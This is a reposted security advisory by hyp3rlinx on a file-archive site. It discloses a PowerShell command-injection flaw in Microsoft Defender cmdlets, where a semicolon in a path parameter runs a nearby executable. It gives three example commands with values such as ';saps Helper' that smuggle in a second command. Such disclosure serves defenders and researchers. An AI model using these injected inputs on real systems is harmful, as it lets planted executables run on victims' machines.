Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Microsoft Defender Anti-Malware PowerShell API Arbitrary Code Execution[6]
- Authored by hyp3rlinx[7] | Site hyp3rlinx.altervista.org[8]
-
Microsoft Defender API and PowerShell APIs suffer from an arbitrary code execution due to a flaw in powershell not handling user provided input that contains a semicolon.
- SHA-256 |
fe92bef621155fd9c83158e63e2b87c27bed041ce6cc8df753d8ab75d5fcd6af
- Download[9] | Favorite[10] | View[11]
Change Mirror[12] Download[13]
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt
[+] twitter.com/hyp3rlinx
[+] x.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Windows PowerShell
[Vulnerability Type]
Arbitrary Code Execution
[CVE Reference]
N/A
[Security Issue]
Microsoft Defender Anti Malware and or PS API's can result in executing arbitrary code.
E.g. scan a directory, shortcut .lnk or even non-existent item, may execute unintended code.
This vector builds upon my previous advisory and subsequent project PSTrojanFile.
Requirements:
1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell from another script
2) Executable file of same name as the parameter that lives nearby
Examples:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps Helper;.1.zip"
(Helper.exe lives on Desktop)
Create directory ";saps Test", Test.exe, Test.cmd etc is on same CL path
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
Create directory with semicolon, drop PE file named doom.exe in same path.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
TODO: Update PSTrojanFile
[References]
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
https://github.com/hyp3rlinx/PSTrojanFile
https://packetstormsecurity.com/files/153863/Microsoft-Windows-PowerShell-Command-Execution.html
https://www.exploit-db.com/exploits/47248
https://github.com/MicrosoftDocs/windows-powershell-docs/tree/main/docset/winserver2019-ps/defender
[Video PoC URL]
https://www.youtube.com/watch?v=0Go6yJiRWP8
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: circa (2019)
December 7, 2023 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
File Tags
- ActiveX[19] (932)
- Advisory[20] (83,420)
- Arbitrary[21] (16,431)
- BBS[22] (2,859)
- Bypass[23] (1,803)
- CGI[24] (1,031)
- Code Execution[25] (7,423)
- Conference[26] (683)
- Cracker[27] (843)
- CSRF[28] (3,353)
- DoS[29] (24,062)
- Encryption[30] (2,372)
- Exploit[31] (52,295)
- File Inclusion[32] (4,234)
- File Upload[33] (979)
- Firewall[34] (822)
- Info Disclosure[35] (2,810)
- Intrusion Detection[36] (900)
- Java[37] (3,091)
- JavaScript[38] (880)
- Kernel[39] (6,855)
- Local[40] (14,585)
- Magazine[41] (586)
- Overflow[42] (12,869)
- Perl[43] (1,427)
- PHP[44] (5,163)
- Proof of Concept[45] (2,349)
- Protocol[46] (3,656)
- Python[47] (1,570)
- Remote[48] (31,068)
- Root[49] (3,607)
- Rootkit[50] (515)
- Ruby[51] (614)
- Scanner[52] (1,645)
- Security Tool[53] (7,929)
- Shell[54] (3,214)
- Shellcode[55] (1,216)
- Sniffer[56] (897)
- Spoof[57] (2,229)
- SQL Injection[58] (16,448)
- TCP[59] (2,419)
- Trojan[60] (687)
- UDP[61] (896)
- Virus[62] (667)
- Vulnerability[63] (32,117)
- Web[64] (9,792)
- Whitepaper[65] (3,759)
- x86[66] (966)
- XSS[67] (18,055)
- Other[68]
File Archives
- December 2023[69]
- November 2023[70]
- October 2023[71]
- September 2023[72]
- August 2023[73]
- July 2023[74]
- June 2023[75]
- May 2023[76]
- April 2023[77]
- March 2023[78]
- February 2023[79]
- January 2023[80]
- Older[81]
Systems
- AIX[82] (429)
- Apple[83] (2,037)
- BSD[84] (375)
- CentOS[85] (57)
- Cisco[86] (1,926)
- Debian[87] (6,914)
- Fedora[88] (1,692)
- FreeBSD[89] (1,246)
- Gentoo[90] (4,379)
- HPUX[91] (880)
- iOS[92] (363)
- iPhone[93] (108)
- IRIX[94] (220)
- Juniper[95] (69)
- Linux[96] (47,896)
- Mac OS X[97] (691)
- Mandriva[98] (3,105)
- NetBSD[99] (256)
- OpenBSD[100] (486)
- RedHat[101] (14,654)
- Slackware[102] (941)
- Solaris[103] (1,611)
- SUSE[104] (1,444)
- Ubuntu[105] (9,152)
- UNIX[106] (9,340)
- UnixWare[107] (187)
- Windows[108] (6,609)
- Other[109]
- Services
- Security Services[120]
- Hosting By
- Rokasec[121]